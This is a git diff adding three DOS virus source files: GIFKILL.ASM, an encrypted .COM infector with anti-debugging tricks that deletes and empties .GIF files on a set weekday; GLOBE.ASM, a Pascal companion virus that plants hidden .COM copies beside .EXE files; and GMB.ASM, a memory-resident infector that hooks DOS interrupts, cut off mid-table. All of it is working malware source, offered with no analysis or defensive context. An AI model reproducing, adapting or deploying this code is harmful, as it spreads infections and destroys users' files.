a/g/GIFKILL.ASM b/g/GIFKILL.ASM new file mode 100755 index 0000000..1fbb1b8 --- /dev/null +++ b/g/GIFKILL.ASM @@ -0,0 +1,392 @@ +; GIFKILL.ASM -- Seek and Destroy GIF +; Written by Dark Avenger + +virus_type equ 0 ; Appending Virus +is_encrypted equ 1 ; We're encrypted +tsr_virus equ 0 ; We're not TSR + +code segment byte public + assume cs:code,ds:code,es:code,ss:code + org 0100h + +main proc near + db 0E9h,00h,00h ; Near jump (for compatibility) +start: call find_offset ; Like a PUSH IP +find_offset: pop bp ; BP holds old IP + sub bp,offset find_offset ; Adjust for length of host + + call encrypt_decrypt ; Decrypt the virus + +start_of_code label near + + lea si,[bp + buffer] ; SI points to original start + mov di,0100h ; Push 0100h on to stack for + push di ; return to main program + movsw ; Copy the first two bytes + movsb ; Copy the third byte + + mov di,bp ; DI points to start of virus + + mov bp,sp ; BP points to stack + sub sp,128 ; Allocate 128 bytes on stack + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address on stack + + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer on stack + int 021h + +stop_tracing: mov cx,09EBh + mov ax,0FE05h ; Acutal move, plus a HaLT + jmp $-2 + add ah,03Bh ; AH now equals 025h + jmp $-10 ; Execute the HaLT + lea bx,[di + null_vector] ; BX points to new routine + push cs ; Transfer CS into ES + pop es ; using a PUSH/POP + int 021h + mov al,1 ; Disable interrupt 1, too + int 021h + jmp short skip_null ; Hop over the loop +null_vector: jmp $ ; An infinite loop +skip_null: mov byte ptr [di + lock_keys + 1],130 ; Prefetch unchanged +lock_keys: mov al,128 ; Change here screws DEBUG + out 021h,al ; If tracing then lock keyboard + + mov cx,0003h ; Do 3 infections +search_loop: push cx ; Save CX + call search_files ; Find and infect a file + pop cx ; Restore CX + loop search_loop ; Repeat until CX is 0 + + call get_weekday + cmp ax,0005h ; Did the function return 5? + je strt00 ; If equal, do effect + jmp end00 ; Otherwise skip over it +strt00: lea dx,[di + data00] ; DX points to data + mov ah,04Eh ; DOS find first file function + mov cx,00100111b ; All file attributes valid + int 021h + jc erase_done ; Exit procedure on failure + mov ah,02Fh ; DOS get DTA function + int 021h + lea dx,[bx + 01Eh] ; DX points to filename in DTA +erase_loop: mov ah,041h ; DOS delete file function + int 021h + mov ah,03Ch ; DOS create file function + xor cx,cx ; No attributes for new file + int 021h + mov ah,041h ; DOS delete file function + int 021h + mov ah,04Fh ; DOS find next file function + int 021h + jnc erase_loop ; Repeat until no files left +erase_done: + +end00: +com_end: pop dx ; DX holds original DTA address + mov ah,01Ah ; DOS set DTA function + int 021h + + mov sp,bp ; Deallocate local buffer + + xor ax,ax ; + mov bx,ax ; + mov cx,ax ; + mov dx,ax ; Empty out the registers + mov si,ax ; + mov di,ax ; + mov bp,ax ; + + ret ; Return to original program +main endp + + + db 0FAh,045h,02Eh,0B3h,024h + +search_files proc near + push bp ; Save BP + mov bp,sp ; BP points to local buffer + sub sp,64 ; Allocate 64 bytes on stack + + mov ah,047h ; DOS get current dir function + xor dl,dl ; DL holds drive # (current) + lea si,[bp - 64] ; SI points to 64-byte buffer + int 021h + + mov ah,03Bh ; DOS change directory function + lea dx,[di + root] ; DX points to root directory + int 021h + + call traverse ; Start the traversal + + mov ah,03Bh ; DOS change directory function + lea dx,[bp - 64] ; DX points to old directory + int 021h + + mov sp,bp ; Restore old stack pointer + pop bp ; Restore BP + ret ; Return to caller + +root db "\",0 ; Root directory +search_files endp + +traverse proc near + push bp ; Save BP + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address + + mov bp,sp ; BP points to local buffer + sub sp,128 ; Allocate 128 bytes on stack + + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer + int 021h + + mov ah,04Eh ; DOS find first function + mov cx,00010000b ; CX holds search attributes + lea dx,[di + all_files] ; DX points to "*.*" + int 021h + jc leave_traverse ; Leave if no files present + +check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory? + jne another_dir ; If not, try again + cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."? + je another_dir ;If so, keep going + + mov ah,03Bh ; DOS change directory function + lea dx,[bp - 98] ; DX points to new directory + int 021h + + call traverse ; Recursively call ourself + + pushf ; Save the flags + mov ah,03Bh ; DOS change directory function + lea dx,[di + up_dir] ; DX points to parent directory + int 021h + popf ; Restore the flags + + jnc done_searching ; If we infected then exit + +another_dir: mov ah,04Fh ; DOS find next function + int 021h + jnc check_dir ; If found check the file + +leave_traverse: + lea dx,[di + com_mask] ; DX points to "*.COM" + call find_files ; Try to infect a file +done_searching: mov sp,bp ; Restore old stack frame + mov ah,01Ah ; DOS set DTA function + pop dx ; Retrieve old DTA address + int 021h + + pop bp ; Restore BP + ret ; Return to caller + +up_dir db "..",0 ; Parent directory name +all_files db "*.*",0 ; Directories to search for +com_mask db "*.COM",0 ; Mask for all .COM files +traverse endp + + db 0A6h,03Ch,0B6h,078h,0CCh + + +find_files proc near + push bp ; Save BP + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address + + mov bp,sp ; BP points to local buffer + sub sp,128 ; Allocate 128 bytes on stack + + push dx ; Save file mask + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer + int 021h + + mov ah,04Eh ; DOS find first file function + mov cx,00100111b ; CX holds all file attributes + pop dx ; Restore file mask +find_a_file: int 021h + jc done_finding ; Exit if no files found + call infect_file ; Infect the file! + jnc done_finding ; Exit if no error + mov ah,04Fh ; DOS find next file function + jmp short find_a_file ; Try finding another file + +done_finding: mov sp,bp ; Restore old stack frame + mov ah,01Ah ; DOS set DTA function + pop dx ; Retrieve old DTA address + int 021h + + pop bp ; Restore BP + ret ; Return to caller +find_files endp + + db 002h,0EFh,034h,048h,091h + +infect_file proc near + mov ah,02Fh ; DOS get DTA address function + int 021h + mov si,bx ; SI points to the DTA + + mov byte ptr [di + set_carry],0 ; Assume we'll fail + + cmp word ptr [si + 01Ah],(65279 - (finish - start)) + jbe size_ok ; If it's small enough continue + jmp infection_done ; Otherwise exit + +size_ok: mov ax,03D00h ; DOS open file function, r/o + lea dx,[si + 01Eh] ; DX points to file name + int 021h + xchg bx,ax ; BX holds file handle + + mov ah,03Fh ; DOS read from file function + mov cx,3 ; CX holds bytes to read (3) + lea dx,[di + buffer] ; DX points to buffer + int 021h + + mov ax,04202h ; DOS file seek function, EOF + cwd ; Zero DX _ Zero bytes from end + mov cx,dx ; Zero CX / + int 021h + + xchg dx,ax ; Faster than a PUSH AX + mov ah,03Eh ; DOS close file function + int 021h + xchg dx,ax ; Faster than a POP AX + + sub ax,finish - start + 3 ; Adjust AX for a valid jump + cmp word ptr [di + buffer + 1],ax ; Is there a JMP yet? + je infection_done ; If equal then exit + mov byte ptr [di + set_carry],1 ; Success -- the file is OK + add ax,finish - start ; Re-adjust to make the jump + mov word ptr [di + new_jump + 1],ax ; Construct jump + + mov ax,04301h ; DOS set file attrib. function + xor cx,cx ; Clear all attributes + lea dx,[si + 01Eh] ; DX points to victim's name + int 021h + + mov ax,03D02h ; DOS open file function, r/w + int 021h + xchg bx,ax ; BX holds file handle + + mov ah,040h ; DOS write to file function + mov cx,3 ; CX holds bytes to write (3) + lea dx,[di + new_jump] ; DX points to the jump we made + int 021h + + mov ax,04202h ; DOS file seek function, EOF + cwd ; Zero DX _ Zero bytes from end + mov cx,dx ; Zero CX / + int 021h + + push si ; Save SI through call + call encrypt_code ; Write an encrypted copy + pop si ; Restore SI + + mov ax,05701h ; DOS set file time function + mov cx,[si + 016h] ; CX holds old file time + mov dx,[si + 018h] ; DX holds old file date + int 021h + + mov ah,03Eh ; DOS close file function + int 021h + + mov ax,04301h ; DOS set file attrib. function + xor ch,ch ; Clear CH for file attribute + mov cl,[si + 015h] ; CX holds file's old attributes + lea dx,[si + 01Eh] ; DX points to victim's name + int 021h + +infection_done: cmp byte ptr [di + set_carry],1 ; Set carry flag if failed + ret ; Return to caller + +set_carry db ? ; Set-carry-on-exit flag +buffer db 090h,0CDh,020h ; Buffer to hold old three bytes +new_jump db 0E9h,?,? ; New jump to virus +infect_file endp + + + db 089h,043h,03Bh,054h,0AAh + +get_weekday proc near + mov ah,02Ah ; DOS get date function + int 021h + cbw ; Sign-extend AL into AX + ret ; Return to caller +get_weekday endp + +data00 db "*.GIF",0 + +vcl_marker db "[Z10]",0 ; VCL creation marker + + +note db "Bye Bye Mr.GIF",0 + db "You'll never find all the file" + db "s I have infected!",0 + +encrypt_code proc near + push bp ; Save BP + mov bp,di ; Use BP as pointer to code + lea si,[bp + encrypt_decrypt]; SI points to cipher routine + + xor ah,ah ; BIOS get time function + int 01Ah + mov word ptr [si + 9],dx ; Low word of timer is new key + + xor byte ptr [si + 1],8 ; + xor byte ptr [si + 8],1 ; Change all SIs to DIs + xor word ptr [si + 11],0101h; (and vice-versa) + + lea di,[bp + finish] ; Copy routine into heap + mov cx,finish - encrypt_decrypt - 1 ; All but final RET + push si ; Save SI for later + push cx ; Save CX for later + rep movsb ; Copy the bytes + + lea si,[bp + write_stuff] ; SI points to write stuff + mov cx,5 ; CX holds length of write + rep movsb ; Copy the bytes + + pop cx ; Restore CX + pop si ; Restore SI + inc cx ; Copy the RET also this time + rep movsb ; Copy the routine again + + mov ah,040h ; DOS write to file function + lea dx,[bp + start] ; DX points to virus + + lea si,[bp + finish] ; SI points to routine + call si ; Encrypt/write/decrypt + + mov di,bp ; DI points to virus again + pop bp ; Restore BP + ret ; Return to caller + +write_stuff: mov cx,finish - start ; Length of code + int 021h +encrypt_code endp + +end_of_code label near + +encrypt_decrypt proc near + lea si,[bp + start_of_code] ; SI points to code to decrypt + mov cx,(end_of_code - start_of_code) / 2 ; CX holds length +xor_loop: db 081h,034h,00h,00h ; XOR a word by the key + inc si ; Do the next word + inc si ; + loop xor_loop ; Loop until we're through + ret ; Return to caller +encrypt_decrypt endp +finish label near + +code ends + end main diff --git a/g/GLOBE.ASM b/g/GLOBE.ASM new file mode 100755 index 0000000..3a126f4 --- /dev/null +++ b/g/GLOBE.ASM @@ -0,0 +1,106 @@ +Program Worm; + +{$M 2048,0,4096} + +Uses Dos, Crt; + +Var F1 : File; + F2 : File; + O : String; + Parm : String; + P : DirStr; + N : NameStr; + E : ExtStr; + Buf : Array[0..8000] of Byte; + NumRead : Word; + NumWritten : Word; + DirInfo : SearchRec; + ComExist : SearchRec; + Infect : Byte; + +Procedure StartOrigExe; +Begin + O := ParamStr(0); + FSplit(O,P,N,E); + O := P+N+'.EXE'; + P := ''; + For NumRead := 1 To ParamCount Do + P := P + ParamStr(NumRead); + SwapVectors; + Exec(O,P); + SwapVectors; +End; + +Procedure InfectExe; +Begin +FindFirst('*.EXE',Archive,DirInfo); +While (DosError = 0) And (Infect <> 0) Do + Begin + FSplit(DirInfo.Name,P,N,E); + O := P+N+'.COM'; + FindFirst(O,Hidden,ComExist); + If DosError <> 0 Then + Begin + Assign(F1,O); + Rewrite(F1,1); + BlockWrite(F1,buf,NumRead,NumWritten); + Close(F1); + SetFattr(F1,Hidden); + Dec(Infect); + End; + FindNext(DirInfo); + End; +End; + +Procedure Activate; +Var + T1,T2 : Integer; + I : Real; + X , Y : Byte; + Resolution : Integer; + +Begin +ClrScr; +I := 0; +T2 := 38; +Randomize; +Repeat +Resolution := 50; +For T1 := 0 to Resolution Do + Begin + X := Abs(40+Round(Sin(I)*T2)); + Y := Abs(12-Round(Cos(I)*10)); + GotoXY(X,Y); + Write(''); + I := I + ((Pi*2)/Resolution); + End; + T2 := T2 - 1; + TextColor(Random(14)+1); +Until T2 < 2; +GotoXY(30,12); +TextColor(White); +Write('* The Globe Virus *'); + Asm + Mov Ah,8 + Int 21h + End; +ClrScr; +End; + +Begin + Infect := 3; + Randomize; + Assign(F2,ParamStr(0)); + Reset(F2,1); + BlockRead(F2,buf,SizeOf(buf),NumRead); + Close(F2); + InfectExe; + StartOrigExe; + If Random(16) = 0 then Activate; + Halt(DosExitCode); +End. + +; +; > and Remember Don't Forget to Call < +; > ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? < +; diff --git a/g/GMB.ASM b/g/GMB.ASM new file mode 100755 index 0000000..4a3f122 --- /dev/null +++ b/g/GMB.ASM @@ -0,0 +1,895 @@ +CODE segment para public 'code' + assume cs:code,ds:code,es:nothing,ss:nothing + + org 100h + +egy equ 1 ; one +dma equ 0b0h +atvar equ 300 ; at paramaeter +xtvar equ 1 ; xt parameter +suruseg equ 255 ; density +idotartalek equ 18*30 ; time delay + +start: db 0e9h,0,0 +;##################### Initialization ###################### +resid: push ax + mov cx,offset memory - offset begin ;#### decoding #### + mov bx,ds:[101h] + add bx,103h+(offset begin-offset resid) +jhg1: xor byte ptr [bx],0 + inc bx + loop jhg1 + +begin: sub bx,(offset begin-offset resid)+(offset memory - offset begin) + mov cs:[0feh],bx + mov ax,[bx+(offset eltarol-offset resid)] + mov cl,[bx+(offset eltarol-offset resid)+2] + mov ds:[100h],ax + mov ds:[102h],cl + mov cx,0b800h + mov ah,15 + push bx + int 10h + pop bx + cmp al,7 + jne rety + mov ch,0b0h +rety: mov [bx+(offset ruut - offset resid)+1],cx + mov word ptr [bx+(offset counter-offset resid)],idotartalek + mov byte ptr [bx+(offset jammed-offset resid)+1],al + mov byte ptr [bx+(offset vanesik-offset resid)],0 + xor ax,ax + mov ds,ax + cmp word ptr ds:[130h],4142h + je zipp + mov ds:[130h],4142h + mov ax,cs + dec ax + mov ds,ax + mov ax,ds:[3] + sub ax,180h + mov ds:[3],ax + add ax,ds:[1] + mov es,ax + push cs + pop ds + sub word ptr ds:[2],384 + mov di,3 + mov si,bx + mov cx,(offset memory-offset resid) shr 1 +1 + cld + rep movsw + mov ax,es + sub ax,10h + mov ds,ax + mov dx,offset irq + mov ax,251ch + int 21h + mov ah,2ah + int 21h + cmp al,1 + jne zipp + dec al + out 0a0h,al + mov al,dma + out 41h,al +zipp: + mov ax,cs + mov ds,ax + mov es,ax + pop ax + push cs + mov cx,100h + push cx + mov cx,ds:[0feh] + sub cx,100h + retf +eltarol dw 20cdh +eltarol2 db 90h + +;######################### Vyrus activated ########################## +csik: mov ax,0e000h + mov ds,ax +csiky: mov ds:[0],al + inc al + jmp csiky + +;######################### propagation part ########################## + +eredeti: db 0eah ; original +int211 dw 0 +int212 dw 0 +counter dw 0 +szaporodas: cmp ah,4bh + jne eredeti + or al,al + jnz eredeti + push ax + push es + push bx + push ds + push dx + mov bx,dx +koj: inc bx + cmp byte ptr [bx],'.' + jne koj + cmp byte ptr[bx+1],'C' + jne kiugras1 + mov cs:kds,ds + mov cs:kdx,dx + mov cs:kbx,bx + call probe +kiugras1: pop dx + pop ds + pop bx + pop es + pop ax + jmp eredeti +kds dw 0 +kdx dw 0 +kbx dw 0 +kkk dw 0 +fszam dw 0 +probe: push cs + pop es + mov di,offset memory + mov si,dx + mov cx,40 + cld + rep movsw + mov bx,0ff0h + mov ah,48h + int 21h + jnc juk1 + ret + ;!!!!! memoria lefoglalva (kkk = Seg) +atr dw 0 +juk1: mov cs:kkk,ax + mov dx,offset memory + push ds + pop es + mov bx,cs:kbx + mov byte ptr [bx+1],'A' ; + call elorutin + push cs + pop ds ;DS:DX a masolt nev. + mov ax,4300h + int 21h + mov atr,cx + xor cx,cx + mov ax,4301h + int 21h + ;!!!!! Attr allitas + cmp cs:attrflag,0 + jz juk2 + mov ds,cs:kds + jmp memoff +juk2: mov di,kdx ;ES:DI a regi nev atirva + mov ah,56h + int 21h + call utorutin ;!!!!! Atnevezve + mov dx,cs:kdx + push es + pop ds + mov ax,3d02h + int 21h ;!!!!! File megnyitva + mov cs:fszam,ax + mov ds,cs:kkk + xor dx,dx + mov bx,ax + mov cx,0fc00h-(offset memory-offset resid) + mov ah,3fh + int 21h + cmp ax,0fc00h-(offset memory-offset resid) + ;!!!!! Beolvasva a program (csak a hossza miatt) + je hosszu ;zarjuk le a file-t + cmp ax,7580 + jb hosszu ;tul rovid a file + mov di,ax + + mov bx,ds:[1] + cmp word ptr [bx+3],0b950h + +;$$$$$$$$$$$$$$$$$$$$$$$$$ FUCK OFF TASM,MASM $$$$$$$$$$$$$$$$$$$$$$$$$$$ + + je hosszu + push di + mov cx,(offset memory-offset resid) + mov si,offset resid + push ds + pop es + push cs + pop ds + inc byte ptr ds:[offset jhg1 +2] + mov ax,es:[0] + mov eltarol,ax + mov al,es:[2] + mov eltarol2,al + rep movsw ;!!!!! Atmasolva (hehe) + mov al,byte ptr ds:[offset jhg1 +2] + pop di + add di,(offset begin-offset resid) + mov cx,offset memory - offset begin ;#### coding #### +jhga: xor byte ptr es:[di],al + inc di + loop jhga + sub di,(offset memory - offset resid) + push di ;Az ugrasi hely + mov bx,fszam + mov cx,offset memory - offset begin + mov dx,di + push es + pop ds + mov ah,40h + int 21h + pop di + cmp ax,offset memory - offset begin + je ghj1 +hosszu: jmp zardle +ghj1: ;!!!!! Kiirva a vege + mov byte ptr ds:[0],0e9h + sub di,3 + mov ds:[1],di + mov bx,cs:fszam + xor cx,cx + xor dx,dx + mov ax,4200h + push bx + int 21h + pop bx + mov cx,3 + xor dx,dx + mov ah,40h + int 21h +zardle: mov bx,cs:fszam + mov ah,3eh + int 21h ;!!!!! File lezarva + push cs + pop es + mov di,offset memory + mov ds,cs:kds + mov dx,cs:kdx + mov ah,56h + int 21h ;!!!!! File visszanevezve + mov bx,cs:kbx + mov byte ptr ds:[bx+1],'C' + mov ax,4301h + mov cx,cs:atr + int 21h ;!!!!! attr visszaall +memoff: mov bx,cs:kbx + mov byte ptr ds:[bx+1],'C' + push cs + pop ds + mov es,cs:kkk + mov ah,49h + int 21h ;!!!!! Memoria visszaalt + ret +it241 dw 0 +it242 dw 0 +attrflag db 0 + +elorutin: mov cs:attrflag,0 + xor ax,ax + mov ds,ax + mov ax,ds:[90h] + mov cs:it241,ax + mov ax,ds:[92h] + mov cs:it242,ax + mov ds:[90h],offset it24 + mov ds:[92h],cs + ret + +utorutin: xor ax,ax + mov ds,ax + mov ax,cs:it241 + mov ds:[90h],ax + mov ax,cs:it242 + mov ds:[92h],ax + ret +it24: mov cs:attrflag,1 + xor al,al + iret +vanesik db 0 +irq: cli + push ds + push es + push ax + push bx + push cx + push dx + push si + push di + cmp cs:counter,0 + je sabad + dec cs:counter + jne sabad + xor ax,ax + mov ds,ax + mov ax,ds:[84h] + mov cs:int211,ax + mov ax,ds:[86h] + mov cs:int212,ax + mov ds:[84h],offset szaporodas + mov ds:[86h],cs +sabad: cmp cs:vanesik,0 + je keress + call idovan + jmp jumper +keress: call ruut +jumper: pop di + pop si + pop dx + pop cx + pop bx + pop ax + pop es + pop ds + iret + +idovan: xor ah,ah + int 1ah + and dx,suruseg + jne rutyi + call action +rutyi: ret + + +ruut: mov ax,0b800h + mov es,ax + mov di,cs:did + mov cx,512 + cld +poke: jcxz huy + mov al,'E' + repnz scasb + jz talalt +huy: cmp di,4095 + jb kisebb + mov cs:did,0 + ret +kisebb: add cs:did,512 + ret +did dw 0 +talalt: test di,1 + jz poke + mov dl,es:[di+1] + mov dh,es:[di+3] + or dx,2020h + cmp dx,6973h ;'is' + jne poke + mov bl,es:[di+5] + or bl,20h + cmp bl,'k' + jne poke + mov cs:vanesik,1 + jmp huy +action: mov ax,cs + mov ds,ax + mov es,ax + mov vanesik,0 + mov pontszam,1 + mov si,offset zizi + mov di,offset novi + cld + mov cx,6 + rep movsw + call zoldseg +jammed: mov ax,3 + int 10h + cmp counterr,atvar + jne fdr + push cs + pop es + lea bx,mess + mov ax,1301h + mov bx,1 + xor dx,dx + mov cx,offset drt-offset mess + int 10h +fdr: ret + +counterr dw 0 +zoldseg: cli + mov di,offset memory + xor ax,ax + cld + mov cx,200*3 + rep stosw + mov ah,0c0h + mov si,3333h + int 15h + cmp si,3333h + mov ax,xtvar + je xt + mov ax,atvar +xt: mov counterr,ax + mov ax,3502h + int 21h + cmp bx,0e9eh + jne ibm + call init1 + mov pontm,100 + mov port,22h + jmp entry +ibm: ;Ibm bulik + mov pontm,200 + mov al,70h + mov port,60h ;% + mov ah,15 + int 10h + cmp al,7 + jne cga + call init3 + jmp entry +cga: call init2 + jmp entry +port dw 22h +pontm dw 100 + +init1: mov ax,200h + mov es,ax + xor di,di + mov cx,4000h + cld + xor ax,ax + rep stosw + mov plotdw,offset plot + mov unplotdw,offset unplot + ret +init2: mov ax,0b800h + mov es,ax + mov ax,6 + int 10h + mov plotdw,offset plotcga + mov unplotdw,offset unplotcga + ret +init3: mov ax,0b000h + mov es,ax + call prog + mov plotdw,offset plotherc + mov unplotdw,offset unplotcga + ret +prog: mov dx,3bfh + mov al,3 + out dx,al + mov al,28h + mov dx,3b8h + out dx,al + mov ah,0 + mov cx,12 + lea bx,ports +lopi1: mov dx,03b4h + mov al,ah + out dx,al + inc ah + mov dx,03b5h + mov al,[bx] + out dx,al + inc bx + loop lopi1 + + mov dx,3bfh + mov al,3 + out dx,al + mov dx,3b8h + mov al,0ah + out dx,al + xor di,di + mov cx,4000h + xor ax,ax + cld + rep stosw + ret + +ports db 35h,2dh,2eh,7,5bh,2,57h,57h,2,3,0,0 + +;**************************** Forgatorutin ************************************ + + even +sina dw 0 +cosa dw 0 ;si-t meghagyja +sinb dw 0 +cosb dw 0 +pontszam dw 1 +transzform: ;be: di=X, bx=Y, cx=Z, SINA,COSA,SINB,COSB +; add bx,ytol ;ez itt jolesz + shl di,1 + shl bx,1 ;X es Y elokeszitese a szorzashoz + mov ax,di + imul cosa + mov bp,dx + mov ax,bx + imul sina + add bp,dx ; bp=X' = cosa*X + sina*Y + mov ax,bx + imul cosa + mov bx,dx + mov ax,di + imul sina + sub bx,dx ; bx=Y' = cosa*X - sina*Y + shl bp,1 + shl cx,1 ;X' es Z elokeszitese + mov ax,bp + imul cosb + mov di,dx + mov ax,cx + imul sinb + sub di,dx ; di=X'' = cosb*X' - sinb*Z + mov cx,di + mov ax,bx + ret + +comment @ + mov ax,cx + imul cosb + mov cx,dx + mov ax,bp + imul sinb + add cx,dx ; cx=Z'' = cosb*Z = sinb*X' + + ; out: di=X'' bx=Y'' cx=Z'' + mov dx,keptav +;****************************** PERSPEKTIVA ********************************** + mov ax,di + shl ax,1 + imul tavol + mov cx,dx + mov ax,bx + shl ax,1 + imul tavol + mov ax,dx + ret ; ki : CX=X' AX=Y' + +@ + +plotherc: ; al=y cx=x + xor ah,ah + mov dx,ax + shr dx,1 + add ax,dx + mov dx,cx + mov cl,al + and cl,3 + shr ax,1 + shr al,1 + mov di,2000h + shl di,cl + mov cl,90 + mul cl + add di,ax + mov ax,dx + mov cx,dx + jmp ezisi +plotcga: xor di,di + shr ax,1 + jnc tryp + mov di,2000h +tryp: mov dl,80 + mul dl + add di,ax + mov ax,cx +ezisi: shr ax,1 + shr ax,1 + shr ax,1 + add di,ax + and cl,7 + mov al,128 + shr al,cl + or es:[di],al + jmp ezis1 + +unplotcga: mov al,[bx] + mov di,[bx+1] + xor al,255 + and es:[di],al + ret + +plot: ;AL = y koord. cx = x koord. + mov dl,160 + mul dl + mov di,ax + mov ax,cx + shr ax,1 + shr ax,1 + add di,ax + and di,-2 + and cl,7 + mov al,128 + shr al,cl + or es:[di+egy],al +ezis1: mov [bx],al + inc bx + mov [bx],di + add bx,2 + ret +unplot: mov al,[bx] + mov di,[bx+1] + xor al,255 + and es:[di+egy],al + ret +kezdfazisrajz: mov bx,offset memory + mov si,offset gombdata + mov cx,pontszam +ck1: push cx + lodsw + mov cx,ax + shl cx,1 + add cx,320 + lodsw + add si,2 + add ax,50 + call word ptr [plotdw] + pop cx + loop ck1 + ret +indy db 0 + +fazisrajz: mov bx,offset memory + mov si,offset gombdata + mov cx,pontszam + mov indy,1 +ck12: push cx + call word ptr [unplotdw] + push bx + lodsw + mov di,ax + lodsw + mov bx,ax + lodsw + mov cx,ax + call transzform + pop bx + add ax,50 + mov di,bxpo + add al,[di] + shl cx,1 + add cx,bxpo2 + cmp indy,0 + je ruty + mov indy,0 + cmp karal2,0 + jne ruty + push cx + push ax + inc cx + call word ptr [plotdw] + pop ax + pop cx + sub bx,3 +ruty: call word ptr [plotdw] + pop cx + loop ck12 + ret + +novpont: mov ax,pontm + cmp pontszam,ax + je trew + mov cx,pontm + sub cx,pontszam + mov ch,cl + shR cx,1 + shr cx,1 +yut: loop yut + inc pontszam + ret +trew: call movie + mov bx,bxpo + cmp bx,offset patt + je valto + cmp bx,offset patt+29 + je valto +iuy: add bx,novi + mov bxpo,bx + ret +valto: neg novi + jmp iuy +novi dw -1 +bxpo dw offset patt +bxpo2 dw 320 +novi2 dw 4 +karal dw 300 +karal2 dw 600 +zizi dw -1,offset patt,320,4,300,600 +movie: cmp karal,0 + je jesty + dec karal + ret +jesty: cmp karal2,0 + je jesty2 + dec karal2 +jesty2: mov bx,bxpo2 + cmp bx,100 + je valto2 + cmp bx,540 + je valto2 +iuy2: add bx,novi2 + mov bxpo2,bx + ret +valto2: neg novi2 + jmp iuy2 +elokesz: call novpont + mov bl,szogx + xor bh,bh + shl bx,1 + mov ax,sintabl[bx] + mov sina,ax + mov ax,costabl[bx] + mov cosa,ax + mov bl,szogy + xor bh,bh + shl bx,1 + mov ax,sintabl[bx] + mov sinb,ax + mov ax,costabl[bx] + mov cosb,ax + mov al,szogxvalt + add szogx,al + mov al,szogyvalt + add szogy,al + ret + even +szogx db 0 +szogy db 0 +szogxvalt db 2 +szogyvalt db 5 +tavol dw 32767 + +phase: call elokesz + call fazisrajz + ret +entry: call kezdfazisrajz +rajta1: call phase + cmp pontm,100 + je apc + cmp byte ptr ds:[offset ruut +2],0b8h + je ccggaa + mov cx,counterr + mov dx,3bah +qaz1: in al,dx + and al,1 + jnz qaz1 +qaz2: in al,dx + and al,1 + jz qaz2 + loop qaz1 + jmp apc +ccggaa: mov dx,3dah +qaz3: in al,dx + and al,8 + jnz qaz3 +qaz4: in al,dx + and al,8 + jz qaz4 +apc: mov dx,port + in al,dx + and al,1 + jz rajta1 + ret + even +plotdw dw 0 +unplotdw dw 0 + +sintabl dw 0, 804, 1608, 2410, 3212, 4011, 4808, 5602, 6393 + dw 7179, 7962, 8739, 9512, 10278, 11039, 11793, 12539, 13279 + dw 14010, 14732, 15446, 16151, 16846, 17530, 18204, 18868, 19519 + dw 20159, 20787, 21403, 22005, 22594, 23170, 23731, 24279, 24811 + dw 25329, 25832, 26319, 26790, 27245, 27683, 28105, 28510, 28898 + dw 29268, 29621, 29956, 30273, 30571, 30852, 31113, 31356, 31580 + dw 31785, 31971, 32137, 32285, 32412, 32521, 32609, 32678, 32728 + dw 32757, 32767, 32757, 32728, 32678, 32609, 32521, 32412, 32285 + dw 32137, 31971, 31785, 31580, 31356, 31113, 30852, 30571, 30273 + dw 29956, 29621, 29268, 28898, 28510, 28105, 27683, 27245, 26790 + dw 26319, 25832, 25329, 24811, 24279, 23731, 23170, 22594, 22005 + dw 21403, 20787, 20159, 19519, 18868, 18204, 17530, 16846, 16151 + dw 15446, 14732, 14010, 13279, 12539, 11793, 11039, 10278, 9512 + dw 8739, 7962, 7179, 6393, 5602, 4808, 4011, 3212, 2410 + dw 1608, 804, 0, -804, -1608, -2410, -3212, -4011, -4808 + dw -5602, -6393, -7179, -7962, -8739, -9512,-10278,-11039,-11793 + dw -12539,-13279,-14010,-14732,-15446,-16151,-16846,-17530,-18204 + dw -18868,-19519,-20159,-20787,-21403,-22005,-22594,-23170,-23731 + dw -24279,-24811,-25329,-25832,-26319,-26790,-27245,-27683,-28105 + dw -28510,-28898,-29268,-29621,-29956,-30273,-30571,-30852,-31113 + dw -31356,-31580,-31785,-31971,-32137,-32285,-32412,-32521,-32609 + dw -32678,-32728,-32757,-32767,-32757,-32728,-32678,-32609,-32521 + dw -32412,-32285,-32137,-31971,-31785,-31580,-31356,-31113,-30852 + dw -30571,-30273,-29956,-29621,-29268,-28898,-28510,-28105,-27683 + dw -27245,-26790,-26319,-25832,-25329,-24811,-24279,-23731,-23170 + dw -22594,-22005,-21403,-20787,-20159,-19519,-18868,-18204,-17530 + dw -16846,-16151,-15446,-14732,-14010,-13279,-12539,-11793,-11039 + dw -10278, -9512, -8739, -7962, -7179, -6393, -5602, -4808, -4011 + dw -3212, -2410, -1608, -804 +costabl dw 32767, 32757, 32728, 32678, 32609, 32521, 32412, 32285 + dw 32137, 31971, 31785, 31580, 31356, 31113, 30852, 30571 + dw 30273, 29956, 29621, 29268, 28898, 28510, 28105, 27683 + dw 27245, 26790, 26319, 25832, 25329, 24811, 24279, 23731 + dw 23170, 22594, 22005, 21403, 20787, 20159, 19519, 18868 + dw 18204, 17530, 16846, 16151, 15446, 14732, 14010, 13279 + dw 12539, 11793, 11039, 10278, 9512, 8739, 7962, 7179 + dw 6393, 5602, 4808, 4011, 3212, 2410, 1608, 804 + dw 0, -804, -1608, -2410, -3212, -4011, -4808, -5602 + dw -6393, -7179, -7962, -8739, -9512,-10278,-11039,-11793 + dw -12539, -13279,-14010,-14732,-15446,-16151,-16846,-17530 + dw -18204, -18868,-19519,-20159,-20787,-21403,-22005,-22594 + dw -23170, -23731,-24279,-24811,-25329,-25832,-26319,-26790 + dw -27245, -27683,-28105,-28510,-28898,-29268,-29621,-29956 + dw -30273, -30571,-30852,-31113,-31356,-31580,-31785,-31971 + dw -32137, -32285,-32412,-32521,-32609,-32678,-32728,-32757 + dw -32767, -32757,-32728,-32678,-32609,-32521,-32412,-32285 + dw -32137, -31971,-31785,-31580,-31356,-31113,-30852,-30571 + dw -30273, -29956,-29621,-29268,-28898,-28510,-28105,-27683 + dw -27245, -26790,-26319,-25832,-25329,-24811,-24279,-23731 + dw -23170, 